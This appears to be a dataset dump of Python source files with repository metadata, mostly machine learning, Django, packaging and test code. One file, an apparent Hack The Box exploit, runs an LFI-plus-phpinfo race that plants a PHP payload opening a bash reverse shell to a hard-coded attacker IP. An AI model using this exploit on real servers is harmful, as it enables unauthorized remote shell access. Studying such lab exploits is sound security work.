hexsha
stringlengths
40
40
size
int64
3
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
972
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
972
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
972
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
3
1.03M
avg_line_length
float64
1.13
941k
max_line_length
int64
2
941k
alphanum_fraction
float64
0
1
6208707ed9322479b9b0a0affa4506568b6ec91f
11,054
py
Python
training/distributed_training/pytorch/model_parallel/mnist/utils/pt_mnist.py
jerrypeng7773/amazon-sagemaker-examples
c5ddecce1f739a345465b9a38b064983a129141d
[ "Apache-2.0" ]
2,610
2020-10-01T14:14:53.000Z
2022-03-31T18:02:31.000Z
training/distributed_training/pytorch/model_parallel/mnist/utils/pt_mnist.py
jerrypeng7773/amazon-sagemaker-examples
c5ddecce1f739a345465b9a38b064983a129141d
[ "Apache-2.0" ]
1,959
2020-09-30T20:22:42.000Z
2022-03-31T23:58:37.000Z
training/distributed_training/pytorch/model_parallel/mnist/utils/pt_mnist.py
jerrypeng7773/amazon-sagemaker-examples
c5ddecce1f739a345465b9a38b064983a129141d
[ "Apache-2.0" ]
2,052
2020-09-30T22:11:46.000Z
2022-03-31T23:02:51.000Z
# Future from __future__ import print_function import argparse import math # Standard Library import os import random import time # Third Party import numpy as np # First Party import smdistributed.modelparallel.torch as smp import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as op...
32.997015
101
0.644382
78bbc961150970f9709f7cab4d66354c9c795724
5,614
py
Python
old_scripts/py_rfq_designer/py_rfq_designer/test.py
DanielWinklehner/py_rfq_helper
98a471f529c9418f822c7c711bcbd8dd50bbb0ff
[ "MIT" ]
1
2021-03-11T05:55:02.000Z
2021-03-11T05:55:02.000Z
old_scripts/py_rfq_designer/py_rfq_designer/test.py
DanielWinklehner/py_rfq_helper
98a471f529c9418f822c7c711bcbd8dd50bbb0ff
[ "MIT" ]
null
null
null
old_scripts/py_rfq_designer/py_rfq_designer/test.py
DanielWinklehner/py_rfq_helper
98a471f529c9418f822c7c711bcbd8dd50bbb0ff
[ "MIT" ]
null
null
null
import bempp.api import numpy as np bempp.api.global_parameters.quadrature.medium.double_order = 4 bempp.api.global_parameters.quadrature.far.double_order = 4 grid = bempp.api.import_grid("rfq.msh") dirichlet_segments = [1, 2] neumann_segments = [99] order_neumann = 1 order_dirichlet = 2 global_neumann_space = bem...
34.441718
103
0.789455
7454a7636a78fe00cc5550817b9f54c63972ccdd
5,528
py
Python
test/treewidth_model/test_tree_decomposition_datamodel.py
vnep-approx/vnep-approx
3be6f56cf49f26ae0319e3b0c206abde51f3fcd9
[ "MIT" ]
12
2017-07-12T12:47:02.000Z
2022-01-03T09:28:57.000Z
test/treewidth_model/test_tree_decomposition_datamodel.py
vnep-approx/vnep-approx
3be6f56cf49f26ae0319e3b0c206abde51f3fcd9
[ "MIT" ]
null
null
null
test/treewidth_model/test_tree_decomposition_datamodel.py
vnep-approx/vnep-approx
3be6f56cf49f26ae0319e3b0c206abde51f3fcd9
[ "MIT" ]
4
2019-05-17T12:41:56.000Z
2021-02-17T13:05:14.000Z
import pytest from test_data.request_test_data import create_test_request, example_requests from test_data.tree_decomposition_test_data import ( create_test_tree_decomposition, VALID_TREE_DECOMPOSITIONS, INVALID_TREE_DECOMPOSITION_INTERSECTION_PROPERTY, INVALID_TREE_DECOMPOSITIONS_NOT_A_TREE, INVALI...
41.878788
103
0.764472
480909ba250676c5391051e37c5f017a569b9697
11,747
py
Python
datasets/chains/chain_dataset.py
rubencart/LIIR-TextGraphs-14
272849e74ef16f1499249048a0502e6e2236756d
[ "MIT" ]
1
2021-03-17T12:36:11.000Z
2021-03-17T12:36:11.000Z
datasets/chains/chain_dataset.py
rubencart/LIIR-TextGraphs-14
272849e74ef16f1499249048a0502e6e2236756d
[ "MIT" ]
null
null
null
datasets/chains/chain_dataset.py
rubencart/LIIR-TextGraphs-14
272849e74ef16f1499249048a0502e6e2236756d
[ "MIT" ]
1
2021-03-23T02:31:09.000Z
2021-03-23T02:31:09.000Z
import itertools import logging from abc import ABC from typing import Tuple import numpy as np import pandas as pd from sklearn.metrics.pairwise import cosine_distances, euclidean_distances from torch.utils.data import IterableDataset, DataLoader from transformers import PreTrainedTokenizer from datasets.chains.chai...
45.007663
118
0.639397
d3e306c9de1ce65e87021374c8459faf842bb5b3
11,214
py
Python
src/textual/message_pump.py
insilications/textual-clr
5f4798a4286d05401491a2be9d53798c1c3744c4
[ "MIT" ]
null
null
null
src/textual/message_pump.py
insilications/textual-clr
5f4798a4286d05401491a2be9d53798c1c3744c4
[ "MIT" ]
null
null
null
src/textual/message_pump.py
insilications/textual-clr
5f4798a4286d05401491a2be9d53798c1c3744c4
[ "MIT" ]
null
null
null
from __future__ import annotations import asyncio from asyncio import CancelledError from asyncio import Queue, QueueEmpty, Task from functools import partial from typing import TYPE_CHECKING, Awaitable, Iterable, Callable from weakref import WeakSet from . import events from . import log from ._timer import Timer, T...
32.88563
100
0.602283
eaebb8327fe1ff738b883b368bf63142a7c82199
1,019
py
Python
src/researchhub_document/migrations/0005_auto_20210604_0550.py
ResearchHub/ResearchHub-Backend-Open
d36dca33afae2d442690694bb2ab17180d84bcd3
[ "MIT" ]
18
2021-05-20T13:20:16.000Z
2022-02-11T02:40:18.000Z
src/researchhub_document/migrations/0005_auto_20210604_0550.py
ResearchHub/ResearchHub-Backend-Open
d36dca33afae2d442690694bb2ab17180d84bcd3
[ "MIT" ]
109
2021-05-21T20:14:23.000Z
2022-03-31T20:56:10.000Z
src/researchhub_document/migrations/0005_auto_20210604_0550.py
ResearchHub/ResearchHub-Backend-Open
d36dca33afae2d442690694bb2ab17180d84bcd3
[ "MIT" ]
4
2021-05-17T13:47:53.000Z
2022-02-12T10:48:21.000Z
# Generated by Django 2.2 on 2021-06-04 05:50 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('researchhub_document', '00...
31.84375
156
0.652601
d8aba75a90fbff2d2b5d3a918559e396b22d7502
33,688
py
Python
tests/test_preprints.py
fabmiz/osf.io
8d86af3f0a6e5388bd5b18383e68e27b65a66247
[ "Apache-2.0" ]
null
null
null
tests/test_preprints.py
fabmiz/osf.io
8d86af3f0a6e5388bd5b18383e68e27b65a66247
[ "Apache-2.0" ]
5
2017-09-14T18:04:12.000Z
2017-10-03T17:43:55.000Z
tests/test_preprints.py
fabmiz/osf.io
8d86af3f0a6e5388bd5b18383e68e27b65a66247
[ "Apache-2.0" ]
1
2019-07-16T00:14:49.000Z
2019-07-16T00:14:49.000Z
# -*- coding: utf-8 -*- from nose.tools import * # flake8: noqa (PEP8 asserts) import mock import urlparse from addons.osfstorage.models import OsfStorageFile from api_tests import utils as api_test_utils from framework.auth import Auth from framework.celery_tasks import handlers from framework.exceptions import Perm...
46.147945
218
0.660176
ab46e2c2322de35f0577ac643bd7fdd5a165d227
1,102
py
Python
views.py
chriskmamo/greenvoice
11306e939612907da21f89350b4446e47081e695
[ "MIT" ]
null
null
null
views.py
chriskmamo/greenvoice
11306e939612907da21f89350b4446e47081e695
[ "MIT" ]
2
2022-02-13T20:16:39.000Z
2022-02-19T06:27:31.000Z
views.py
chriskmamo/greenvoice
11306e939612907da21f89350b4446e47081e695
[ "MIT" ]
null
null
null
from url_filter.integrations.drf import DjangoFilterBackend from rest_framework.decorators import action, api_view from rest_framework.filters import OrderingFilter, SearchFilter from rest_framework.permissions import IsAuthenticated, IsAdminUser, \ IsAuthenticatedOrReadOnly from re...
25.627907
83
0.789474
bd4a622398920f2accc24f50b6870f861bccfcca
2,532
py
Python
doc/Programs/RandomWalks/randomwalkfitting.py
anacost/MachineLearning
89e1c3637fe302c2b15b96bf89c8a01d2d693f29
[ "CC0-1.0" ]
1
2020-08-24T18:42:36.000Z
2020-08-24T18:42:36.000Z
doc/Programs/RandomWalks/randomwalkfitting.py
bernharl/MachineLearning
35389a23d0abe490fbb9cd653aa732eeac162262
[ "CC0-1.0" ]
null
null
null
doc/Programs/RandomWalks/randomwalkfitting.py
bernharl/MachineLearning
35389a23d0abe490fbb9cd653aa732eeac162262
[ "CC0-1.0" ]
1
2022-03-21T13:30:23.000Z
2022-03-21T13:30:23.000Z
import numpy as np import matplotlib.pyplot as plt from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import LinearRegression steps=250 distance=0 x=0 distance_list=[] steps_list=[] while x<steps: distance+=np.random.randint(-1,2) distance_list.append(distance) x+=1 steps_l...
24.823529
75
0.759084
f4dfe5e121eac3fa6b48ac6d821a662912936b4d
440
py
Python
data/data_prep.py
saliei/chatbot
93d5e1434bcc6706c54027b559f4f7bab98b813b
[ "MIT" ]
null
null
null
data/data_prep.py
saliei/chatbot
93d5e1434bcc6706c54027b559f4f7bab98b813b
[ "MIT" ]
null
null
null
data/data_prep.py
saliei/chatbot
93d5e1434bcc6706c54027b559f4f7bab98b813b
[ "MIT" ]
null
null
null
#! /usr/bin/env python3 # read bz2, xz, zst compressed reddit data line by line, and process json files import pandas as pd import numpy as np import bz2 import json import matplotlib.pyplot as plt BUFF_SIZE = 10 filename = "RC_2005-12.bz2" with bz2.open(filename, "rt") as mdata: lines = [] for i, line in en...
19.130435
79
0.679545
d81364ebde238c991f182ee42bdf7ff73a36a4a9
12,173
py
Python
models/SSD_HarDNet68.py
PingoLH/PytorchSSD
a2a0a26848767fedcd4b963b7658ceaad37075be
[ "MIT" ]
28
2019-09-04T01:18:55.000Z
2021-07-23T07:35:54.000Z
models/SSD_HarDNet68.py
PingoLH/PytorchSSD
a2a0a26848767fedcd4b963b7658ceaad37075be
[ "MIT" ]
null
null
null
models/SSD_HarDNet68.py
PingoLH/PytorchSSD
a2a0a26848767fedcd4b963b7658ceaad37075be
[ "MIT" ]
9
2019-10-17T15:34:34.000Z
2021-11-03T20:48:00.000Z
import os import torch import torch.nn as nn import torch.nn.functional as F from layers import * class Identity(nn.Module): def __init__(self): super(Identity, self).__init__() def forward(self, x): return x class Flatten(nn.Module): def __init__(self): super().__init__() ...
34.387006
128
0.550234
c5eeaf9e32dfd4120ef8903b5634c4fec318659e
3,768
py
Python
huaweicloud-sdk-rds/huaweicloudsdkrds/v3/model/resources.py
NQLoong/huaweicloud-sdk-python-v3
677944a0b722147c6e105c53df9110724d64152a
[ "Apache-2.0" ]
1
2021-11-03T07:54:50.000Z
2021-11-03T07:54:50.000Z
huaweicloud-sdk-rds/huaweicloudsdkrds/v3/model/resources.py
mawenbo-huawei/huaweicloud-sdk-python-v3
677944a0b722147c6e105c53df9110724d64152a
[ "Apache-2.0" ]
null
null
null
huaweicloud-sdk-rds/huaweicloudsdkrds/v3/model/resources.py
mawenbo-huawei/huaweicloud-sdk-python-v3
677944a0b722147c6e105c53df9110724d64152a
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 import pprint import re import six class Resources: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json ...
22.836364
74
0.507962
16223db5937287f755683b5df553990a8ffb1ef1
5,902
py
Python
cmsplugin_contact_form_3.0.7/cms_plugins.py
xaoo/djangocms_contact_form
7757a2339b63883c6aac61d9df6b5fc89c4a4560
[ "MIT" ]
null
null
null
cmsplugin_contact_form_3.0.7/cms_plugins.py
xaoo/djangocms_contact_form
7757a2339b63883c6aac61d9df6b5fc89c4a4560
[ "MIT" ]
null
null
null
cmsplugin_contact_form_3.0.7/cms_plugins.py
xaoo/djangocms_contact_form
7757a2339b63883c6aac61d9df6b5fc89c4a4560
[ "MIT" ]
null
null
null
from cms.plugin_base import CMSPluginBase from cms.plugin_pool import plugin_pool from django.core.mail import send_mail, get_connection from . import models class ContactFormCMSPlugin(CMSPluginBase): model = models.ContactFormCMS name = 'Contact Form' render_template = 'cmsplugin_contact_form_3.0.7_3.0.7...
35.769697
74
0.707726
9b0c08b33d64f75b1df9d0a04fe1011fd29346d2
54,413
py
Python
pycti/entities/opencti_stix_domain_object.py
Alfon-sec/client-python
c2a1fad5fc237ca9778c6c2174defa122500d8e0
[ "Apache-2.0" ]
null
null
null
pycti/entities/opencti_stix_domain_object.py
Alfon-sec/client-python
c2a1fad5fc237ca9778c6c2174defa122500d8e0
[ "Apache-2.0" ]
null
null
null
pycti/entities/opencti_stix_domain_object.py
Alfon-sec/client-python
c2a1fad5fc237ca9778c6c2174defa122500d8e0
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 import json import os import magic class StixDomainObject: def __init__(self, opencti, file): self.opencti = opencti self.file = file self.properties = """ id standard_id entity_type parent_types spec_version ...
36.082891
204
0.341867
408ebc9f5911cf1ff847617b23a89f7ceb760c2b
22,654
py
Python
var/spack/repos/builtin/packages/qt/package.py
smcgrat/spack
da9ba2b2549e39b6707c7095a2e97db7e3d3efeb
[ "ECL-2.0", "Apache-2.0", "MIT" ]
1
2021-02-22T18:04:31.000Z
2021-02-22T18:04:31.000Z
var/spack/repos/builtin/packages/qt/package.py
danlipsa/spack
699ae50ebf13ee425a482988ccbd4c3c994ab5e6
[ "ECL-2.0", "Apache-2.0", "MIT" ]
null
null
null
var/spack/repos/builtin/packages/qt/package.py
danlipsa/spack
699ae50ebf13ee425a482988ccbd4c3c994ab5e6
[ "ECL-2.0", "Apache-2.0", "MIT" ]
null
null
null
# Copyright 2013-2020 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * from spack.operating_systems.mac_os import macos_version import llnl.util.tty as tty import itertools ...
38.527211
108
0.580471
0745f1ca3582e55b76c5b8fe674a2baf1724650f
2,431
py
Python
kappa/lattice/polymix_adv.py
ajkerr0/kappa
7a74582596f96b6a9a1488df5a4777c7b723c919
[ "MIT" ]
6
2016-05-30T19:56:54.000Z
2021-01-21T19:42:24.000Z
kappa/lattice/polymix_adv.py
ajkerr0/kappa
7a74582596f96b6a9a1488df5a4777c7b723c919
[ "MIT" ]
92
2016-05-26T19:50:51.000Z
2019-01-08T22:15:09.000Z
kappa/lattice/polymix_adv.py
ajkerr0/kappa
7a74582596f96b6a9a1488df5a4777c7b723c919
[ "MIT" ]
4
2016-05-28T22:07:25.000Z
2021-02-26T00:12:51.000Z
""" @author: Alex Kerr """ import numpy as np def main(side_z): """Return positions, neighbors, and atomic numbers of a mixture of atoms on a carbon backbone.""" # atomic distances ac = 1.526 r0 = np.zeros(36) r0[1] = 1.09 r0[9] = 1.38 r0[17] = 1.766 r0[35] = 1.944 ...
25.589474
97
0.543398
494b99504884595d1a3a37d6644717cd1a445d23
20,880
py
Python
detectron2/export/c10.py
P1NHE4D/detectron2
35ed9a36751f50429d39da44c5e13d9c14d4a6ed
[ "Apache-2.0" ]
349
2021-02-26T01:56:33.000Z
2022-03-29T06:38:00.000Z
detectron2/export/c10.py
P1NHE4D/detectron2
35ed9a36751f50429d39da44c5e13d9c14d4a6ed
[ "Apache-2.0" ]
16
2021-03-03T20:02:38.000Z
2022-02-28T14:50:39.000Z
detectron2/export/c10.py
P1NHE4D/detectron2
35ed9a36751f50429d39da44c5e13d9c14d4a6ed
[ "Apache-2.0" ]
33
2021-02-26T04:44:57.000Z
2022-02-19T02:32:03.000Z
# Copyright (c) Facebook, Inc. and its affiliates. import math import torch import torch.nn.functional as F from detectron2.layers import cat from detectron2.layers.roi_align_rotated import ROIAlignRotated from detectron2.modeling import poolers from detectron2.modeling.proposal_generator import rpn from detectron2.m...
39.545455
100
0.614559
46b25cd9ab5d1fa725f354cbaae5100c1e7ee5fe
2,921
py
Python
include/data.py
fwitte/tensorflow-cifar-10
deceac4ffcbf74117e53352f8bbd1a90ad10462c
[ "MIT" ]
null
null
null
include/data.py
fwitte/tensorflow-cifar-10
deceac4ffcbf74117e53352f8bbd1a90ad10462c
[ "MIT" ]
null
null
null
include/data.py
fwitte/tensorflow-cifar-10
deceac4ffcbf74117e53352f8bbd1a90ad10462c
[ "MIT" ]
null
null
null
import pickle import numpy as np import os from urllib.request import urlretrieve import tarfile import zipfile import sys def get_data_set(name="train"): x = None y = None maybe_download_and_extract() folder_name = "cifar_10" f = open('./data_set/' + folder_name + '/batches.meta', 'rb') f....
30.113402
100
0.589524
cccf9253a2d67d9d690d20c8219b2dfb94c58972
501
py
Python
google_sheets_client.py
filhodomauro/bt_integration
d5a0da50f80971466424f112e60c9d98359bd6a1
[ "MIT" ]
null
null
null
google_sheets_client.py
filhodomauro/bt_integration
d5a0da50f80971466424f112e60c9d98359bd6a1
[ "MIT" ]
null
null
null
google_sheets_client.py
filhodomauro/bt_integration
d5a0da50f80971466424f112e60c9d98359bd6a1
[ "MIT" ]
null
null
null
#! /usr/bin/env python import httplib2 import jamal_google_auth as gauth from googleapiclient import discovery def add_row(sheet_id, range, values): credentials = gauth.get_credentials() service = discovery.build('sheets', 'v4', credentials=credentials) rangeName = range body = { "range" : rang...
31.3125
93
0.698603
466575bf9ded5ec1f12760f8b25f7792ad12aa71
2,530
py
Python
felectronica/forms.py
jmjacquet/IronWeb
974d7fca8db69ffcfec15325cdb641a1b4b2c526
[ "MIT" ]
null
null
null
felectronica/forms.py
jmjacquet/IronWeb
974d7fca8db69ffcfec15325cdb641a1b4b2c526
[ "MIT" ]
9
2020-09-22T12:34:00.000Z
2021-09-10T16:32:04.000Z
felectronica/forms.py
jmjacquet/IronWeb
974d7fca8db69ffcfec15325cdb641a1b4b2c526
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from django import forms from comprobantes.models import cpb_pto_vta,cpb_tipo_forma_pago,cpb_cuenta,cpb_tipo,cpb_nro_afip from general.utilidades import * from general.forms import pto_vta_habilitados from general.models import gral_empresa _SINO = ( (1, u'S'), (2, u'N'), ) class...
42.166667
121
0.714625
5c10c9037de0136d7811856e1bae7fba359c0f68
2,103
py
Python
api_tests/institutions/views/test_institution_nodes_list.py
sf2ne/Playground
95b2d222d7ac43baca0249acbfc34e043d6a95b3
[ "Apache-2.0" ]
null
null
null
api_tests/institutions/views/test_institution_nodes_list.py
sf2ne/Playground
95b2d222d7ac43baca0249acbfc34e043d6a95b3
[ "Apache-2.0" ]
13
2020-03-24T15:29:41.000Z
2022-03-11T23:15:28.000Z
api_tests/institutions/views/test_institution_nodes_list.py
sf2ne/Playground
95b2d222d7ac43baca0249acbfc34e043d6a95b3
[ "Apache-2.0" ]
null
null
null
from nose.tools import * from tests.base import ApiTestCase from tests.factories import InstitutionFactory, AuthUserFactory, NodeFactory from framework.auth import Auth from api.base.settings.defaults import API_BASE class TestInstitutionNodeList(ApiTestCase): def setUp(self): super(TestInstitutionNodeLi...
36.894737
104
0.688065
4818067792fad9141ca757061fb9e9fa4dbc0a35
4,777
py
Python
users/admin.py
pnwclw/cyfmazyr
dfeca513c7334335426d226ec3834af598b08b8c
[ "MIT" ]
1
2020-07-18T11:20:29.000Z
2020-07-18T11:20:29.000Z
users/admin.py
panwaclaw/cyfmazyr
dfeca513c7334335426d226ec3834af598b08b8c
[ "MIT" ]
8
2020-05-24T14:08:12.000Z
2021-09-08T02:03:52.000Z
users/admin.py
pnwclw/cyfmazyr
dfeca513c7334335426d226ec3834af598b08b8c
[ "MIT" ]
1
2020-05-24T12:24:40.000Z
2020-05-24T12:24:40.000Z
from django.contrib import admin from django.contrib.auth.admin import UserAdmin from django.utils import timezone from django.utils.html import format_html from django.utils.translation import ugettext as _ from simple_history.admin import SimpleHistoryAdmin from import_export.admin import ImportExportMixin from .mo...
35.125
131
0.650618
b686590ada1c51798c6a867ba6bca8549bf9722b
18,349
py
Python
Lib/fontmake/__main__.py
googlefonts/fontmake
5190dd8ae01bc2c3da81716bdb69f732e952188f
[ "Apache-2.0" ]
246
2019-04-22T05:52:46.000Z
2022-03-28T03:23:34.000Z
Lib/fontmake/__main__.py
googlefonts/fontmake
5190dd8ae01bc2c3da81716bdb69f732e952188f
[ "Apache-2.0" ]
307
2019-04-29T17:37:15.000Z
2022-03-30T13:53:08.000Z
Lib/fontmake/__main__.py
googlefonts/fontmake
5190dd8ae01bc2c3da81716bdb69f732e952188f
[ "Apache-2.0" ]
26
2019-04-24T14:13:05.000Z
2022-03-17T09:11:02.000Z
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
34.490602
91
0.611804
3b123ac3eba2894e66c649f5a2f78cac3b7edc88
1,220
py
Python
src/tweet/tests.py
jaimebuelta/django-docker-template
f850626a3bc6ac7ccf791ca56b859a7b1d3d87a1
[ "MIT" ]
94
2017-07-30T21:33:46.000Z
2022-01-10T13:41:03.000Z
src/tweet/tests.py
jaimebuelta/django-docker-template
f850626a3bc6ac7ccf791ca56b859a7b1d3d87a1
[ "MIT" ]
1
2019-02-01T13:45:42.000Z
2019-02-01T13:45:42.000Z
src/tweet/tests.py
jaimebuelta/django-docker-template
f850626a3bc6ac7ccf791ca56b859a7b1d3d87a1
[ "MIT" ]
19
2017-07-31T12:03:12.000Z
2021-11-27T05:43:04.000Z
from django.test import TestCase from django.core.urlresolvers import reverse from tweet.models import Tweet class TweetTest(TestCase): def setUp(self): self.tweet = Tweet.objects.create(text='Test tweet') Tweet.objects.create(text='Another tweet') def test_list_tweets(self): url = r...
31.282051
66
0.622951
c332c6d56ed6c1433e52a5588ef0df2ff5124c4b
24,286
py
Python
generated/python/gapic-google-cloud-logging-v2/google/cloud/gapic/logging/v2/logging_service_v2_client.py
landrito/api-client-staging
140c312c9335af160efce5b37842c995308e0148
[ "BSD-3-Clause" ]
18
2016-12-08T20:47:57.000Z
2022-01-29T19:36:04.000Z
generated/python/gapic-google-cloud-logging-v2/google/cloud/gapic/logging/v2/logging_service_v2_client.py
landrito/api-client-staging
140c312c9335af160efce5b37842c995308e0148
[ "BSD-3-Clause" ]
252
2016-09-21T20:51:36.000Z
2021-03-25T23:02:36.000Z
generated/python/gapic-google-cloud-logging-v2/google/cloud/gapic/logging/v2/logging_service_v2_client.py
landrito/api-client-staging
140c312c9335af160efce5b37842c995308e0148
[ "BSD-3-Clause" ]
37
2016-09-19T21:13:16.000Z
2022-01-29T19:36:07.000Z
# Copyright 2017, Google Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ...
44.317518
156
0.628675
83599b07c57432ca2bd7075a99f9a5f5153ab9f9
1,605
py
Python
0.15/_downloads/plot_evoked_topomap.py
drammock/mne-tools.github.io
5d3a104d174255644d8d5335f58036e32695e85d
[ "BSD-3-Clause" ]
null
null
null
0.15/_downloads/plot_evoked_topomap.py
drammock/mne-tools.github.io
5d3a104d174255644d8d5335f58036e32695e85d
[ "BSD-3-Clause" ]
1
2020-10-29T19:53:46.000Z
2020-10-29T19:53:46.000Z
0.15/_downloads/plot_evoked_topomap.py
drammock/mne-tools.github.io
5d3a104d174255644d8d5335f58036e32695e85d
[ "BSD-3-Clause" ]
1
2021-04-12T12:45:31.000Z
2021-04-12T12:45:31.000Z
""" ======================================== Plotting topographic maps of evoked data ======================================== Load evoked data and plot topomaps for selected time points. """ # Authors: Christian Brodbeck <christianbrodbeck@nyu.edu> # Tal Linzen <linzen@nyu.edu> # Denis A. Engeman <d...
32.755102
77
0.705919
7d70598830d9d172c4e6f8d776a205b23b7a0313
1,054
py
Python
backend/apps/csyllabusapi/migrations/0014_courseresult.py
CSyllabus/webapp
06391d43d97453a135ff78ff8dcdd35846c94d30
[ "MIT" ]
3
2017-11-02T11:24:09.000Z
2017-12-08T15:33:43.000Z
backend/apps/csyllabusapi/migrations/0014_courseresult.py
CSyllabus/webapp
06391d43d97453a135ff78ff8dcdd35846c94d30
[ "MIT" ]
2
2017-11-04T10:03:44.000Z
2017-12-31T08:26:36.000Z
backend/apps/csyllabusapi/migrations/0014_courseresult.py
CSyllabus/webapp
06391d43d97453a135ff78ff8dcdd35846c94d30
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2017-11-23 22:37 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('csyllabusapi', '0013_auto_20171114_0642'), ] opera...
37.642857
142
0.631879
505709de73fe8f66322c20782e8760ff2d3050b4
685
py
Python
setup.py
seigfried1/pdftoaudiobook
5e409d548f18ffcce5b02d23def6cc48de9f9df9
[ "MIT" ]
2
2021-01-10T15:29:15.000Z
2021-02-26T17:21:24.000Z
setup.py
seigfried1/pdftoaudiobook
5e409d548f18ffcce5b02d23def6cc48de9f9df9
[ "MIT" ]
null
null
null
setup.py
seigfried1/pdftoaudiobook
5e409d548f18ffcce5b02d23def6cc48de9f9df9
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages with open('README.md') as readme_file: README = readme_file.read() setup_args = dict( name='pdfToAudioBookConverter', version='0.0.1', description='This package converts a pdf file to audiobooks', long_description_content_type="text/markdown", long_description=README,...
26.346154
62
0.747445
abb1a4b614b468716f992ffc61c6125a0af4ccbe
18,802
py
Python
models/criterions/HYDRA.py
MorganeAyle/SNIP-it
df2bf44d6d3f7e4ea7733242a79c916735a7b49e
[ "MIT" ]
null
null
null
models/criterions/HYDRA.py
MorganeAyle/SNIP-it
df2bf44d6d3f7e4ea7733242a79c916735a7b49e
[ "MIT" ]
null
null
null
models/criterions/HYDRA.py
MorganeAyle/SNIP-it
df2bf44d6d3f7e4ea7733242a79c916735a7b49e
[ "MIT" ]
null
null
null
from models.criterions.General import General from models import GeneralModel from utils.model_utils import * from utils.system_utils import * import torch from utils.attacks_utils import construct_adversarial_examples import torch.nn as nn from copy import deepcopy import torch.nn.functional as F import types from uti...
38.215447
154
0.530688
510c9ad0144ef70b604b6fbe66b71b78b16fa239
5,005
py
Python
hacking/lfiphpinfo.py
Qazeer/code-snippets
6b15afb66312cbcf7c29f9ea32933ad0cbf65154
[ "Unlicense" ]
219
2017-12-12T20:05:37.000Z
2022-03-27T06:08:08.000Z
hacking/HTB/Nineveh/lfiphpinfo.py
FDlucifer/code-snippets
2635cf04bc90f1cd0e6b850a9b70d689f1ab7aba
[ "Unlicense" ]
3
2018-11-10T13:33:42.000Z
2020-10-21T13:53:00.000Z
hacking/HTB/Nineveh/lfiphpinfo.py
FDlucifer/code-snippets
2635cf04bc90f1cd0e6b850a9b70d689f1ab7aba
[ "Unlicense" ]
108
2017-12-17T18:17:14.000Z
2022-03-15T13:24:44.000Z
#!/usr/bin/python import sys import threading import socket LHOST="10.10.15.203" LPORT=60001 def setup(host, port): TAG="Security Test" PAYLOAD="""Security Test\r<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/"""+str(LHOST)+"""/"""+str(LPORT)+""" 0>&1'\");?>\r""" REQ1_DATA="""-----------------------...
26.342105
131
0.529071
e1b9dbbdf00838db66ed59e491a3d4b0ff052ce1
2,165
py
Python
ATMS-597-SP-2020-Project-1/atms597_project1_groupd.py
szymbor2/ATMS-597-SP-2020
9d55e93d8c1ee0980181421d6b430a7876e0dcbb
[ "MIT" ]
null
null
null
ATMS-597-SP-2020-Project-1/atms597_project1_groupd.py
szymbor2/ATMS-597-SP-2020
9d55e93d8c1ee0980181421d6b430a7876e0dcbb
[ "MIT" ]
1
2020-01-30T21:11:24.000Z
2020-01-30T21:11:24.000Z
ATMS-597-SP-2020-Project-1/atms597_project1_groupd.py
szymbor2/ATMS-597-SP-2020
9d55e93d8c1ee0980181421d6b430a7876e0dcbb
[ "MIT" ]
1
2020-01-28T20:10:43.000Z
2020-01-28T20:10:43.000Z
# ATMS 597 Project 1 Group D # Authors: Chu-Chun Chen and Michael Sessa # Import the necessary modules import numpy as np # Create a method from which the temperature conversion functions can be called class tempconvert_class: """A method to convert temperatures between degrees Celcius, degrees Fahrenheit, an...
32.80303
79
0.625866
4a189267ed368b204e6bf0a6d2f74c812549ec0b
11,154
py
Python
lib/third_party/GitPython/git/test/test_git.py
magnetic-lab/tdgg
3a80ed82f4b6d1cd2e7a127e079a27141b2e0422
[ "MIT" ]
5
2019-08-14T07:24:10.000Z
2020-04-15T11:47:48.000Z
lib/third_party/GitPython/git/test/test_git.py
magnetic-lab/tdgg
3a80ed82f4b6d1cd2e7a127e079a27141b2e0422
[ "MIT" ]
null
null
null
lib/third_party/GitPython/git/test/test_git.py
magnetic-lab/tdgg
3a80ed82f4b6d1cd2e7a127e079a27141b2e0422
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # test_git.py # Copyright (C) 2008, 2009 Michael Trier (mtrier@gmail.com) and contributors # # This module is part of GitPython and is released under # the BSD License: http://www.opensource.org/licenses/bsd-license.php import os import subprocess import sys from tempfile import TemporaryFile f...
37.555556
104
0.630536
e35a02882317a0e5fbba6ad2775b92a12591c0de
